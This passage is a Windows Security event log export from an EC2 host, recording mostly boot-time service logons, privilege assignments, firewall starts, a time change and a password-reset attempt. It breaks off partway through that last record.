-OpCode=Info -RecordNumber=245031 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245030 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2cc - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245029 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245028 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2cc - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245027 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245026 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2cc - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245025 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0x59A03 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245024 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0x599F1 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245023 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0x59A03 - Linked Logon ID: 0x599F1 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x29c - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245022 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0x599F1 - Linked Logon ID: 0x59A03 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x29c - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245021 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: DWM-1 - Account Domain: Window Manager - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x29c - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:15:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245033 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:15:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245032 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2cc - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245038 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:15:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245037 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2cc - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5033 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245036 -Keywords=Audit Success -Message=The Windows Firewall Driver started successfully. -03/11/2021 11:15:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245035 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:15:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245034 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2cc - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245043 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x61BDF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: NtLmSsp - Authentication Package: NTLM - Transited Services: - - Package Name (NTLM only): NTLM V1 - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245042 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:15:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245041 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2cc - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245040 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:15:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Logon -OpCode=Info -RecordNumber=245039 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2cc - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:15:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5024 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245044 -Keywords=Audit Success -Message=The Windows Firewall service started successfully. -03/11/2021 11:15:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4616 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=Security State Change -OpCode=Info -RecordNumber=245048 -Keywords=Audit Success -Message=The system time was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Process Information: - Process ID: 0xa84 - Name: C:\Windows\System32\rundll32.exe - -Previous Time: ‎2021‎-‎03‎-‎01T12:08:54.793718300Z -New Time: ‎2021‎-‎03‎-‎01T12:08:54.792000000Z - -This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer. -03/11/2021 11:15:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4724 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-83A0VSB -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245047 -Keywords=Audit Success -Message=An attempt was made to reset an account's password. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-83A0VSB$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: 